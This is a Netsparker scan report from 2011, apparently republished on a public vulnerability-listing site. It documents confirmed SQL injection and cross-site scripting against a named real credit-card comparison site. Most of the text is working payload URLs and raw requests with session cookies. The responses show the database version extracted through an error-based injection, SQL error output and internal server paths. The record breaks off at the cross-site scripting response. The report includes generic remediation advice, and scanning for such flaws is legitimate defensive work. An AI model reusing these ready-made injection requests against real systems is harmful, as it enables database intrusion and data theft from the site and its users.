SQL Injection, Database Error, CWE-89, CAPEC-66, www.creditcards.com, DORK, GHDB REPORT SUMMARY

Public Domain Vulnerability Information, Security Articles, Vulnerability Reports, GHDB, DORK Search

XSS Home | XSS Crawler | SQLi Crawler | HTTPi Crawler | FI Crawler |

Private Reporting of Security Research is preferred for Online Service Providers



Loading

Netsparker - Scan Report Summary
TARGET URL
http://www.creditcards.com/oc/?pid=22145581&p...
SCAN DATE
6/17/2011 5:42:55 AM
REPORT DATE
6/20/2011 2:23:10 PM
SCAN DURATION
00:02:51

Total Requests

Average Speed

req/sec.
12
identified
9
confirmed
4
critical
2
informational

SCAN SETTINGS

Scan Settings
PROFILE
Previous Settings
ENABLED ENGINES
Static Tests, Find Backup Files, Blind Command Injection, Blind SQL Injection, Boolean SQL Injection, Command Injection, HTTP Header Injection, Local File Inclusion, Open Redirection, Remote Code Evaluation, Remote File Inclusion, SQL Injection, Cross-site Scripting
Authentication
Scheduled

VULNERABILITIES

Vulnerabilities
Netsparker - Web Application Security Scanner
CRITICAL
33 %
IMPORTANT
33 %
LOW
17 %
INFORMATION
17 %

VULNERABILITY SUMMARY

Vulnerability Summary
URL Parameter Method Vulnerability Confirmed
/oc/ pid GET Blind SQL Injection Yes
pid GET Boolean Based SQL Injection Yes
pid GET SQL Injection Yes
pid GET [Probable] SQL Injection No
Query Based QUERYSTRING Cross-site Scripting Yes
pid GET Cross-site Scripting Yes
pg GET Cross-site Scripting Yes
pgpos GET Cross-site Scripting Yes
Cookie Not Marked As HttpOnly Yes
pid GET Database Error Message No
MySQL Database Identified Yes
[Possible] Internal Path Leakage (*nix) No
Blind SQL Injection

Blind SQL Injection

1 TOTAL
CRITICAL
CONFIRMED
1
SQL Injection occurs when data input for example by a user is interpreted as a SQL command rather than normal data by the backend database. This is an extremely common vulnerability and its successful exploitation can have critical implications. Netsparker confirmed the vulnerability by executing a test SQL Query on the back-end database. In these tests, SQL Injection was not obvious but the different responses from the page based on the injection test allowed us to identify and confirm the SQL Injection.

Impact

Depending on the backend database, the database connection settings and the operating system, an attacker can mount one or more of the following type of attacks successfully:

Actions to Take

  1. See the remedy for solution.
  2. If you are not using a database access layer (DAL), consider using one. This will help you to centralise the issue. You can also use an ORM (object relational mapping). Most of the ORM systems use only parameterised queries and this can solve the whole SQL Injection problem.
  3. Locate the all dynamically generated SQL queries and convert them to parameterised queries. (If you decide to use a DAL/ORM change all legacy code to use these new libraries)
  4. Use your weblogs and application logs to see if there was any previous but undetected attack to this resource.

Remedy

A robust method for mitigating the threat of SQL Injection based vulnerabilities is to use parameterized queries (prepared statements). Almost all modern languages provide built in libraries for this. Wherever possible do not create dynamic SQL queries or SQL queries with string concatenation.

Required Skills for Successful Exploitation

There are numerous freely available tools to exploit SQL Injection vulnerabilities. This is a complex area with many dependencies, however it should be noted that the numerous resources available in this area have raised both attacker awareness of the issues and their ability to discover and leverage them. SQL Injection is one of the most common web application vulnerabilities.

External References

Remedy References

- /oc/

/oc/ CONFIRMED

http://www.creditcards.com/oc/?pid=-111%27%20OR%20SLEEP(25)=0%20LIMIT%201--+&pg=1477&pgpos=1

Parameters

Parameter Type Value
pid GET -111' OR SLEEP(25)=0 LIMIT 1--
pg GET 1477
pgpos GET 1

Request

GET /oc/?pid=-111%27%20OR%20SLEEP(25)=0%20LIMIT%201--+&pg=1477&pgpos=1 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.creditcards.com
Cookie: Apache=66.219.46.81.1308307377275850; PHPSESSID=147189003bcb08f66eb38005117f390d; SSBAL=node.web2
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Fri, 17 Jun 2011 10:43:19 GMT
Server: Apache
Expires: Fri, 09 Jul 2010 22:45:02 GMT
Cache-Control: private, no-store, no-cache, max-age=0, must-revalidate, proxy-revalidate
Pragma: no-cache
refresh: 2; url=http://oc.creditcards.com/trans_node.php?aid=1000&tid=&cid=9999&did=9999&fid=1477&pos=1&evid=102110617054257a6b9f5164de84f3a4&ref=&oid=1022011061705434463684786&data3=0&sid=1889&c=-111%27+OR+SLEEP%2825%29%3D0+LIMIT+1--+
Vary: Accept-Encoding
Content-Length: 2874
Content-Type: text/html
Set-Cookie: cardOfferHistory=deleted; expires=Thu, 17-Jun-2010 10:43:18 GMT; path=/


<html>
<head>
<title>Just a Moment While We Direct You to Your Offer</title>
<meta name="robots" content="NOFOLLOW,NOINDEX">
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">

<script src="/javascript/application.js"></script>


<link href="/css/credit-cards.css" rel="stylesheet" type="text/css">
</head>

<body bgcolor="#003366" text="#000000" vlink="#0033CC" link="#0033CC">
<div align="center">
<br>
<table border="5" cellspacing="1" cellpadding="40" bordercolor="#999999" bgcolor="#FFFFFF" width="491">
<tr>
<td>
<div align="center">
<h2>Please Wait...<br>
<br>
</h2>
<img src="/images/loading.gif" width="131" height="23"><br>
<br>
<span class="loading">You are being directed to Discover's secure application.</span>
</div>
</td>
</tr>
</table>

<br>
<a href="http://www.creditcards.com">
<span class="return">Click Here to Return to CreditCards.com</span></a>
</div>

<img src="/actions/clickBack.php?t=bf66403cc2a1d03c587a1b5564fad5d6" width="1px" height="1px" />
<IMG SRC='http://www.creditcards.com/sb.php?a_aid=1000&a_bid=36' border=0 width=1 height=1><IMG SRC='http://www.creditcards.com/xtrack.php?pid=-111%27%20OR%20SLEEP(25)=0%20LIMIT%201--+&pg=1477&pgpos=1' border=0 width=1 height=1><!-- SiteCatalyst code version: H.15.1.
Copyright 1997-2008 Omniture, Inc. More info available at
http://www.omniture.com -->
<script language="JavaScript" type="text/javascript" src="/javascript/s_code.js"></script>
<script language="JavaScript" type="text/javascript">
/* You may give each page an identifying name, server, and channel on
the next lines. */
s.pageName="lead confirmation"
s.server=""
s.channel=""
s.pageType=""
s.prop1=""
s.prop2=""
s.prop3=""
s.prop4=""
s.prop5=""
s.prop6=""
s.prop7=""
s.prop8=""
s.prop12=s.c_r('s_vi');
s.prop16="1"
/* Conversion Variables */
s.campaign=""
s.state=""
s.zip=""
s.events="purchase,event2"
s.products="1477;-111' OR SLEEP(25)=0 LIMIT 1-- ;1;0"
s.purchaseID="1022011061705434463684786"
s.eVar1=""
s.eVar2=""
s.eVar3=""
s.eVar4=""
s.eVar5=""
s.eVar6=""
s.eVar7=""
s.eVar8=""
s.eVar25="1477"
s.eVar26="1"
s.eVar18=s.c_r('s_vi');

/************* DO NOT ALTER ANYTHING BELOW THIS LINE ! **************/
var s_code=s.t();if(s_code)document.write(s_code)</script>
<script language="JavaScript" type="text/javascript"><!--
if(navigator.appVersion.indexOf('MSIE')>=0)document.write(unescape('%3C')+'\!-'+'-')
//--></script><noscript><a href="http://www.omniture.com" title="Web Analytics"><img
src="http://112.2o7.net/b/ss/ccardsccdc-us/1/H.15.1--NS/0"
height="1" width="1" border="0" alt="" /></a></noscript><!--/DO NOT REMOVE/-->
<!-- End SiteCatalyst code version: H.15.1. -->





</body>
</html>
Boolean Based SQL Injection

Boolean Based SQL Injection

1 TOTAL
CRITICAL
CONFIRMED
1
SQL Injection occurs when data input for example by a user is interpreted as a SQL command rather than normal data by the backend database. This is an extremely common vulnerability and its successful exploitation can have critical implications. Netsparker confirmed the vulnerability by executing a test SQL Query on the back-end database. In these tests, SQL Injection was not obvious but the different responses from the page based on the injection test allowed Netsparker to identify and confirm the SQL Injection.

Impact

Depending on the backend database, the database connection settings and the operating system, an attacker can mount one or more of the following type of attacks successfully:

Actions to Take

  1. See the remedy for solution.
  2. If you are not using a database access layer (DAL), consider using one. This will help you to centralise the issue. You can also use an ORM (object relational mapping). Most of the ORM systems use only parameterised queries and this can solve the whole SQL Injection problem.
  3. Locate all of the dynamically generated SQL queries and convert them to parameterised queries. (If you decide to use a DAL/ORM change all legacy code to use these new libraries)
  4. Use your weblogs and application logs to see if there was any previous but undetected attack to this resource.

Remedy

The best way to protect your code against SQL Injections is using parameterised queries (prepared statements). Almost all modern languages provide built in libraries for this. Wherever possible do not create dynamic SQL queries or SQL queries with string concatenation.

Required Skills for Successful Exploitation

There are numerous freely available tools to exploit SQL Injection vulnerabilities. This is a complex area with many dependencies, however it should be noted that the numerous resources available in this area have raised both attacker awareness of the issues and their ability to discover and leverage them.

External References

Remedy References

- /oc/

/oc/ CONFIRMED

http://www.creditcards.com/oc/?pid='+OR+'ns'%3d'ns&pg=1477&pgpos=1

Parameters

Parameter Type Value
pid GET ' OR 'ns'='ns
pg GET 1477
pgpos GET 1

Request

GET /oc/?pid='+OR+'ns'%3d'ns&pg=1477&pgpos=1 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.creditcards.com
Cookie: Apache=66.219.46.81.1308307377275850; PHPSESSID=147189003bcb08f66eb38005117f390d; SSBAL=node.web2
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Fri, 17 Jun 2011 10:43:17 GMT
Server: Apache
Expires: Fri, 09 Jul 2010 22:45:02 GMT
Cache-Control: private, no-store, no-cache, max-age=0, must-revalidate, proxy-revalidate
Pragma: no-cache
refresh: 2; url=http://oc.creditcards.com/trans_node.php?aid=1000&tid=&cid=9999&did=9999&fid=1477&pos=1&evid=102110617054257a6b9f5164de84f3a4&ref=&oid=1022011061705431709352929&data3=0&sid=1889&c=%27+OR+%27ns%27%3D%27ns
Vary: Accept-Encoding
Content-Length: 2830
Content-Type: text/html
Set-Cookie: cardOfferHistory=deleted; expires=Thu, 17-Jun-2010 10:43:16 GMT; path=/


<html>
<head>
<title>Just a Moment While We Direct You to Your Offer</title>
<meta name="robots" content="NOFOLLOW,NOINDEX">
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">

<script src="/javascript/application.js"></script>


<link href="/css/credit-cards.css" rel="stylesheet" type="text/css">
</head>

<body bgcolor="#003366" text="#000000" vlink="#0033CC" link="#0033CC">
<div align="center">
<br>
<table border="5" cellspacing="1" cellpadding="40" bordercolor="#999999" bgcolor="#FFFFFF" width="491">
<tr>
<td>
<div align="center">
<h2>Please Wait...<br>
<br>
</h2>
<img src="/images/loading.gif" width="131" height="23"><br>
<br>
<span class="loading">You are being directed to Discover's secure application.</span>
</div>
</td>
</tr>
</table>

<br>
<a href="http://www.creditcards.com">
<span class="return">Click Here to Return to CreditCards.com</span></a>
</div>

<img src="/actions/clickBack.php?t=6401145e067e098e2c44e519cd1eb3b8" width="1px" height="1px" />
<IMG SRC='http://www.creditcards.com/sb.php?a_aid=1000&a_bid=36' border=0 width=1 height=1><IMG SRC='http://www.creditcards.com/xtrack.php?pid='+OR+'ns'%3d'ns&pg=1477&pgpos=1' border=0 width=1 height=1><!-- SiteCatalyst code version: H.15.1.
Copyright 1997-2008 Omniture, Inc. More info available at
http://www.omniture.com -->
<script language="JavaScript" type="text/javascript" src="/javascript/s_code.js"></script>
<script language="JavaScript" type="text/javascript">
/* You may give each page an identifying name, server, and channel on
the next lines. */
s.pageName="lead confirmation"
s.server=""
s.channel=""
s.pageType=""
s.prop1=""
s.prop2=""
s.prop3=""
s.prop4=""
s.prop5=""
s.prop6=""
s.prop7=""
s.prop8=""
s.prop12=s.c_r('s_vi');
s.prop16="1"
/* Conversion Variables */
s.campaign=""
s.state=""
s.zip=""
s.events="purchase,event2"
s.products="1477;' OR 'ns'='ns;1;0"
s.purchaseID="1022011061705431709352929"
s.eVar1=""
s.eVar2=""
s.eVar3=""
s.eVar4=""
s.eVar5=""
s.eVar6=""
s.eVar7=""
s.eVar8=""
s.eVar25="1477"
s.eVar26="1"
s.eVar18=s.c_r('s_vi');

/************* DO NOT ALTER ANYTHING BELOW THIS LINE ! **************/
var s_code=s.t();if(s_code)document.write(s_code)</script>
<script language="JavaScript" type="text/javascript"><!--
if(navigator.appVersion.indexOf('MSIE')>=0)document.write(unescape('%3C')+'\!-'+'-')
//--></script><noscript><a href="http://www.omniture.com" title="Web Analytics"><img
src="http://112.2o7.net/b/ss/ccardsccdc-us/1/H.15.1--NS/0"
height="1" width="1" border="0" alt="" /></a></noscript><!--/DO NOT REMOVE/-->
<!-- End SiteCatalyst code version: H.15.1. -->





</body>
</html>
SQL Injection

SQL Injection

1 TOTAL
CRITICAL
CONFIRMED
1
SQL Injection occurs when data input for example by a user is interpreted as a SQL command rather than normal data by the backend database. This is an extremely common vulnerability and its successful exploitation can have critical implications. Netsparker confirmed the vulnerability by executing a test SQL Query on the back-end database.

Impact

Depending on the backend database, the database connection settings and the operating system, an attacker can mount one or more of the following type of attacks successfully:

Actions to Take

  1. See the remedy for solution.
  2. If you are not using a database access layer (DAL), consider using one. This will help you to centralise the issue. You can also use an ORM (object relational mapping). Most of the ORM systems use only parameterised queries and this can solve the whole SQL Injection problem.
  3. Locate all of the dynamically generated SQL queries and convert them to parameterised queries (If you decide to use a DAL/ORM, change all legacy code to use these new libraries)
  4. Use your weblogs and application logs to see if there was any previous but undetected attack to this resource.

Remedy

A robust method for mitigating the threat of SQL Injection based vulnerabilities is to use parameterized queries (prepared statements). Almost all modern languages provide built in libraries for this. Wherever possible do not create dynamic SQL queries or SQL queries with string concatenation.

Required Skills for Successful Exploitation

There are numerous freely available tools to exploit SQL Injection vulnerabilities. This is a complex area with many dependencies, however it should be noted that the numerous resources available in this area have raised both attacker awareness of the issues and their ability to discover and leverage them. SQL Injection is one of the most common web application vulnerabilities.

External References

Remedy References

- /oc/

/oc/ CONFIRMED

http://www.creditcards.com/oc/?pid='%2B(select+1+and+row(1%2c1)%3e(select+count(*)%2cconcat(CONCAT(C..

Parameters

Parameter Type Value
pid GET '+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'
pg GET 1477
pgpos GET 1

Extracted Data

5.0.54

Request

GET /oc/?pid='%2B(select+1+and+row(1%2c1)%3e(select+count(*)%2cconcat(CONCAT(CHAR(95)%2CCHAR(33)%2CCHAR(64)%2CCHAR(52)%2CCHAR(100)%2CCHAR(105)%2CCHAR(108)%2CCHAR(101)%2CCHAR(109)%2CCHAR(109)%2CCHAR(97))%2c0x3a%2cfloor(rand()*2))x+from+(select+1+union+select+2)a+group+by+x+limit+1))%2B'&pg=1477&pgpos=1 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.creditcards.com
Cookie: Apache=66.219.46.81.1308307377275850; PHPSESSID=147189003bcb08f66eb38005117f390d; SSBAL=node.web2
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Fri, 17 Jun 2011 10:43:15 GMT
Server: Apache
Expires: Fri, 09 Jul 2010 22:45:02 GMT
Cache-Control: private, no-store, no-cache, max-age=0, must-revalidate, proxy-revalidate
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 4336
Content-Type: text/html
Set-Cookie: cardOfferHistory=deleted; expires=Thu, 17-Jun-2010 10:43:14 GMT; path=/


<center><span class='error'>SQL error: Duplicate entry '_!@4dilemma:1' for key 1; SQL:SELECT * FROM cms_cards WHERE cardId = ''+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+''; File: /usr/local/apache2/htdocs/us_production/affiliate/include/Affiliate/Scripts/Bl/ClickRegistrator.class.php; Line: 463</span></center><br><center><span class='error'>SQL error: Duplicate entry '_!@4dilemma:1' for key 1; SQL:SELECT merchant_service_image_path FROM cms_merchant_service_details WHERE merchant_service_id = ''+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+''; File: /usr/local/apache2/htdocs/us_production/affiliate/include/Affiliate/Scripts/Bl/ClickRegistrator.class.php; Line: 506</span></center><br><html>
<head>
<title>Just a Moment While We Direct You to Your Offer</title>
<meta name="robots" content="NOFOLLOW,NOINDEX">
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">

<script src="/javascript/application.js"></script>


<link href="/css/credit-cards.css" rel="stylesheet" type="text/css">
</head>

<body bgcolor="#003366" text="#000000" vlink="#0033CC" link="#0033CC">
<div align="center">
<br>
<table border="5" cellspacing="1" cellpadding="40" bordercolor="#999999" bgcolor="#FFFFFF" width="491">
<tr>
<td>
<div align="center">
<h2>Please Wait...<br>
<br>
</h2>
<img src="/images/loading.gif" width="131" height="23"><br>
<br>
<span class="loading"></span>
</div>
</td>
</tr>
</table>

<br>
<a href="http://www.creditcards.com">
<span class="return">Click Here to Return to CreditCards.com</span></a>
</div>

<img src="/actions/clickBack.php?t=f43e178cd0e7db12aac5c0bc7d30376c" width="1px" height="1px" />
<IMG SRC='http://www.creditcards.com/sb.php?a_aid=1000&a_bid=36' border=0 width=1 height=1><IMG SRC='http://www.creditcards.com/xtrack.php?pid='%2B(select+1+and+row(1%2c1)%3e(select+count(*)%2cconcat(CONCAT(CHAR(95)%2CCHAR(33)%2CCHAR(64)%2CCHAR(52)%2CCHAR(100)%2CCHAR(105)%2CCHAR(108)%2CCHAR(101)%2CCHAR(109)%2CCHAR(109)%2CCHAR(97))%2c0x3a%2cfloor(rand()*2))x+from+(select+1+union+select+2)a+group+by+x+limit+1))%2B'&pg=1477&pgpos=1' border=0 width=1 height=1><!-- SiteCatalyst code version: H.15.1.
Copyright 1997-2008 Omniture, Inc. More info available at
http://www.omniture.com -->
<script language="JavaScript" type="text/javascript" src="/javascript/s_code.js"></script>
<script language="JavaScript" type="text/javascript">
/* You may give each page an identifying name, server, and channel on
the next lines. */
s.pageName="lead confirmation"
s.server=""
s.channel=""
s.pageType=""
s.prop1=""
s.prop2=""
s.prop3=""
s.prop4=""
s.prop5=""
s.prop6=""
s.prop7=""
s.prop8=""
s.prop12=s.c_r('s_vi');
s.prop16="1"
/* Conversion Variables */
s.campaign=""
s.state=""
s.zip=""
s.events="purchase,event2"
s.products="1477;'+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+';1;0"
s.purchaseID="1022011061705431539137051"
s.eVar1=""
s.eVar2=""
s.eVar3=""
s.eVar4=""
s.eVar5=""
s.eVar6=""
s.eVar7=""
s.eVar8=""
s.eVar25="1477"
s.eVar26="1"
s.eVar18=s.c_r('s_vi');

/************* DO NOT ALTER ANYTHING BELOW THIS LINE ! **************/
var s_code=s.t();if(s_code)document.write(s_code)</script>
<script language="JavaScript" type="text/javascript"><!--
if(navigator.appVersion.indexOf('MSIE')>=0)document.write(unescape('%3C')+'\!-'+'-')
//--></script><noscript><a href="http://www.omniture.com" title="Web Analytics"><img
src="http://112.2o7.net/b/ss/ccardsccdc-us/1/H.15.1--NS/0"
height="1" width="1" border="0" alt="" /></a></noscript><!--/DO NOT REMOVE/-->
<!-- End SiteCatalyst code version: H.15.1. -->





</body>
</html>
[Probable] SQL Injection

[Probable] SQL Injection

1 TOTAL
CRITICAL
SQL Injection occurs when data input for example by a user is interpreted as a SQL command rather than normal data by the backend database. This is an extremely common vulnerability and its successful exploitation can have critical implications. Even though Netsparker believes that there is a SQL Injection in here it could not confirm it. There can be numerous reasons for Netsparker not being able to confirm this. We strongly recommend investigating the issue manually to ensure that it is an SQL Injection and that it needs to be addressed. You can also consider sending the details of this issue to us, in order that we can address this issue for the next time and give you a more precise result.

Impact

Depending on the backend database, database connection settings and the operating system, an attacker can mount one or more of the following type of attacks successfully:

Actions to Take

  1. See the remedy for solution.
  2. If you are not using a database access layer (DAL) within the architecture consider its benefits and implement if appropriate. As a minimum the use of s DAL will help centralize the issue and its resolution. You can also use an ORM (object relational mapping). Most ORM systems use parameterized queries and this can solve many if not all SQL Injection based problems.
  3. Locate all of the dynamically generated SQL queries and convert them to parameterised queries. (If you decide to use a DAL/ORM, change all legacy code to use these new libraries)
  4. Monitor and review weblogs and application logs in order to uncover active or previous exploitation attempts.

Remedy

A very robust method for mitigating the threat of SQL Injection based vulnerabilities is to use parameterized queries (prepared statements). Almost all modern languages provide built in libraries for this. Wherever possible do not create dynamic SQL queries or SQL queries with string concatenation.

Required Skills for Successful Exploitation

There are numerous freely available tools to test for SQL Injection vulnerabilities. This is a complex area with many dependencies, however it should be noted that the numerous resources available in this area have raised both attacker awareness of the issues and their ability to discover and leverage them. SQL Injection is one of the most common web application vulnerabilities.

External References

Remedy References

- /oc/

/oc/

http://www.creditcards.com/oc/?pid='%2B%20(select+convert(int,CHAR(95)%2BCHAR(33)%2BCHAR(64)%2BCHAR(..

Parameters

Parameter Type Value
pid GET '+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'
pg GET 1477
pgpos GET 1

Request

GET /oc/?pid='%2B%20(select+convert(int,CHAR(95)%2BCHAR(33)%2BCHAR(64)%2BCHAR(50)%2BCHAR(100)%2BCHAR(105)%2BCHAR(108)%2BCHAR(101)%2BCHAR(109)%2BCHAR(109)%2BCHAR(97))+FROM+syscolumns)%20%2B'&pg=1477&pgpos=1 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.creditcards.com
Cookie: Apache=66.219.46.81.1308307377275850; PHPSESSID=147189003bcb08f66eb38005117f390d; SSBAL=node.web2
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Fri, 17 Jun 2011 10:43:10 GMT
Server: Apache
Expires: Fri, 09 Jul 2010 22:45:02 GMT
Cache-Control: private, no-store, no-cache, max-age=0, must-revalidate, proxy-revalidate
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 4336
Content-Type: text/html
Set-Cookie: cardOfferHistory=deleted; expires=Thu, 17-Jun-2010 10:43:09 GMT; path=/


<center><span class='error'>SQL error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+' at line 1; SQL:SELECT * FROM cms_cards WHERE cardId = ''+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +''; File: /usr/local/apache2/htdocs/us_production/affiliate/include/Affiliate/Scripts/Bl/ClickRegistrator.class.php; Line: 463</span></center><br><center><span class='error'>SQL error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+' at line 1; SQL:SELECT merchant_service_image_path FROM cms_merchant_service_details WHERE merchant_service_id = ''+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +''; File: /usr/local/apache2/htdocs/us_production/affiliate/include/Affiliate/Scripts/Bl/ClickRegistrator.class.php; Line: 506</span></center><br><html>
<head>
<title>Just a Moment While We Direct You to Your Offer</title>
<meta name="robots" content="NOFOLLOW,NOINDEX">
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">

<script src="/javascript/application.js"></script>


<link href="/css/credit-cards.css" rel="stylesheet" type="text/css">
</head>

<body bgcolor="#003366" text="#000000" vlink="#0033CC" link="#0033CC">
<div align="center">
<br>
<table border="5" cellspacing="1" cellpadding="40" bordercolor="#999999" bgcolor="#FFFFFF" width="491">
<tr>
<td>
<div align="center">
<h2>Please Wait...<br>
<br>
</h2>
<img src="/images/loading.gif" width="131" height="23"><br>
<br>
<span class="loading"></span>
</div>
</td>
</tr>
</table>

<br>
<a href="http://www.creditcards.com">
<span class="return">Click Here to Return to CreditCards.com</span></a>
</div>

<img src="/actions/clickBack.php?t=23d01b8c949bc44b440aa7caafde7e3f" width="1px" height="1px" />
<IMG SRC='http://www.creditcards.com/sb.php?a_aid=1000&a_bid=36' border=0 width=1 height=1><IMG SRC='http://www.creditcards.com/xtrack.php?pid='%2B%20(select+convert(int,CHAR(95)%2BCHAR(33)%2BCHAR(64)%2BCHAR(50)%2BCHAR(100)%2BCHAR(105)%2BCHAR(108)%2BCHAR(101)%2BCHAR(109)%2BCHAR(109)%2BCHAR(97))+FROM+syscolumns)%20%2B'&pg=1477&pgpos=1' border=0 width=1 height=1><!-- SiteCatalyst code version: H.15.1.
Copyright 1997-2008 Omniture, Inc. More info available at
http://www.omniture.com -->
<script language="JavaScript" type="text/javascript" src="/javascript/s_code.js"></script>
<script language="JavaScript" type="text/javascript">
/* You may give each page an identifying name, server, and channel on
the next lines. */
s.pageName="lead confirmation"
s.server=""
s.channel=""
s.pageType=""
s.prop1=""
s.prop2=""
s.prop3=""
s.prop4=""
s.prop5=""
s.prop6=""
s.prop7=""
s.prop8=""
s.prop12=s.c_r('s_vi');
s.prop16="1"
/* Conversion Variables */
s.campaign=""
s.state=""
s.zip=""
s.events="purchase,event2"
s.products="1477;'+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +';1;0"
s.purchaseID="1022011061705431086583723"
s.eVar1=""
s.eVar2=""
s.eVar3=""
s.eVar4=""
s.eVar5=""
s.eVar6=""
s.eVar7=""
s.eVar8=""
s.eVar25="1477"
s.eVar26="1"
s.eVar18=s.c_r('s_vi');

/************* DO NOT ALTER ANYTHING BELOW THIS LINE ! **************/
var s_code=s.t();if(s_code)document.write(s_code)</script>
<script language="JavaScript" type="text/javascript"><!--
if(navigator.appVersion.indexOf('MSIE')>=0)document.write(unescape('%3C')+'\!-'+'-')
//--></script><noscript><a href="http://www.omniture.com" title="Web Analytics"><img
src="http://112.2o7.net/b/ss/ccardsccdc-us/1/H.15.1--NS/0"
height="1" width="1" border="0" alt="" /></a></noscript><!--/DO NOT REMOVE/-->
<!-- End SiteCatalyst code version: H.15.1. -->





</body>
</html>
Cross-site Scripting

Cross-site Scripting

4 TOTAL
IMPORTANT
CONFIRMED
4
XSS (Cross-site Scripting) allows an attacker to execute a dynamic script (Javascript, VbScript) in the context of the application. This allows several different attack opportunities, mostly hijacking the current session of the user or changing the look of the page by changing the HTML on the fly to steal the user's credentials. This happens because the input entered by a user has been interpreted as HTML/Javascript/VbScript by the browser.

XSS targets the users of the application instead of the server. Although this is a limitation, since it allows attackers to hijack other users' session, an attacker might attack an administrator to gain full control over the application.

Impact

There are many different attacks that can be leveraged through the use of XSS, including:

Remedy

The issue occurs because the browser interprets the input as active HTML, Javascript or VbScript. To avoid this, all input and output from the application should be filtered. Output should be filtered according to the output format and location. Typically the output location is HTML. Where the output is HTML ensure that all active content is removed prior to its presentation to the server.

Prior to sanitizing user input, ensure you have a pre-defined list of both expected and acceptable characters with which you populate a white-list. This list needs only be defined once and should be used to sanitize and validate all subsequent input.

There are a number of pre-defined, well structured white-list libraries available for many different environments, good examples of these include, OWASP Reform and Microsoft Anti Cross-site Scripting libraries are good examples.

Remedy References

External References

- /oc/

/oc/ CONFIRMED

http://www.creditcards.com/oc/?'%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x000133)%3C/scri..

Parameters

Parameter Type Value
pid GET 22145581
pg GET 1477
pgpos GET 1
Query Based QUERYSTRING '"--></style></script><script>alert(0x000133)</script>

Request

GET /oc/?'"--></style></script><script>netsparker(0x000133)</script> HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.creditcards.com
Cookie: Apache=66.219.46.81.1308307377275850; PHPSESSID=147189003bcb08f66eb38005117f390d; SSBAL=node.web2
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Fri, 17 Jun 2011 10:44:50 GMT
Server: Apache
Expires: Fri, 09 Jul 2010 22:45:02 GMT
Cache-Control: private, no-store, no-cache, max-age=0, must-revalidate, proxy-revalidate
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 3705
Content-Type: text/html
Set-Cookie: cardOfferHistory=deleted; expires=Thu, 17-Jun-2010 10:44:49 GMT; path=/


